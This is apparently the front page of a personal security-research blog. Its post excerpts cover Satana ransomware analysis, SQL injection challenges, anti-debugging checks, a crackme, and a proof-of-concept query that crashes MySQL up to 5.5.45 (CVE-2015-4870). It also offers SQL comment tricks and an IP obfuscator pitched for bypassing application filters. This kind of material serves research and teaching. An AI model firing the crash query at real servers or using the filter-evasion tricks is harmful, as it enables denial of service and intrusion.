I made some interesting SQLi challenges based on some real world experiences 🙂 Give it a shot to test your SQLi skills 😉
Thank you very much for more than 100 likes !
[tweet https://twitter.com/hasherezade/status/756122086112915456]
Latest Blog Posts
Satana Malware Analysis
I haven’t done any malware analysis before and this would be my first post related to malware. I’m really interested but still quite a lot of things to learn 🙂 so I thought of starting off somewhere and this is the analysis of the ransomware named “Satana” by me. Obviously I hope you know who is Satan 👿
Samples:
- 46bfd4f1d581d7c0121d2b19a005d3df – main sample
- d236fcc8789f94f085137058311e848b – unpacked
Behavior Analysis
As soon as you run this the main executable will be deleted and a new sample will be created inside the %temp% folder.
The following is the disassembly corresponding to this event.
Share this:
Storing a EXE inside MySQL
It’s possible to store a EXE file inside a MySQL database. You can try this out. For demonstration purposes I’m running MySQL in my localhost. I will be creating a simple database and a table big enough to store the exe file. Since we convert the exe to a hex file the content would be larger than the original exe file. I will be using ‘putty.exe’ as the binary.
[code language=”sql”]
CREATE DATABASE testupload;
USE testupload
CREATE TABLE uploads (
id INT(3) NOT NULL AUTO_INCREMENT,
name VARCHAR(1000000) NOT NULL,
PRIMARY KEY (id)
);
[/code]
(more…)
Share this:
Unofficial Way of Commenting in MySQL and MariaDB
In MySQL and MariaDB the official methods of commenting would be
|
1 2 3 |
-- # /* comment */ |
The ‘#’ is also known as a “fragment identifier” and is typically used to identify a portion of an HTML document that sits within a fully qualified URL.
When passing ‘#’ inside a URL to the back-end database we can use ‘%23’.
(more…)
Share this:
Birthday Crackme Part 1
For this year’s birthday the most awesome gift I received was from hasherazade 🙂
I am very thankful to her for making my birthday so special 🙂
This crackme is a bootloader written in 16-bit assembly. This is how this look like.
Share this:
MySQL DoS in the Procedure Analyse Function – CVE-2015-4870
This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.
Syntax:
|
1 |
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1) |
So an Example POC would be:
|
1 |
select * from information_schema.tables procedure analyse((select*from(select 1)x),1); |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
--------------------------------------------------------------------------------------------------------------- mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1); ERROR 2013 (HY000): Lost connection to MySQL server during query mysql> mysql> select 1; ERROR 2006 (HY000): MySQL server has gone away No connection. Trying to reconnect... ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061) ERROR: Can't connect to the server mysql> --------------------------------------------------------------------------------------------------------------- |
Share this:
Parent Process Detection
By checking the parent process of a given process we can determine if the process is being debugged or not by expecting “explorer.exe” to be the usual parent process started by the user.
For this technique the following Windows APIs are used.
We also use a pointer to PROCESSENTRY32 structure which will store the information of each process taken from the snapshot.
[code language=”C”]
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];
} PROCESSENTRY32, *PPROCESSENTRY32;
[/code]
Share this:
Dato Capital Hall of Fame
I got listed in the Dato Capitol Hall of Fame for reporting a XSRF issue in their website.
https://en.datocapital.com/report-security-issue.html
Share this:
IP Obfuscator
A simple tool to convert the IP to different obfuscated forms written in C by me 🙂 I just wrote this for fun. You may use this when it comes bypassing application filters and much more 🙂
Example:
IP address of http://google.lk : http://222.165.163.91
Other forms you can write the same IP:
[+] http://3735397211
(more…)
Share this:
Debugger Detection Using NtGlobalFlag
This is another simple anti-reversing trick used to detect a debugger. As I have shown earlier in my post about the TEB structure and the PEB structure, NtGlobalFlag is located in the PEB Structure at offset PEB+104.
When the process is being debugged the NtGlobalFlag is set to 0x70.
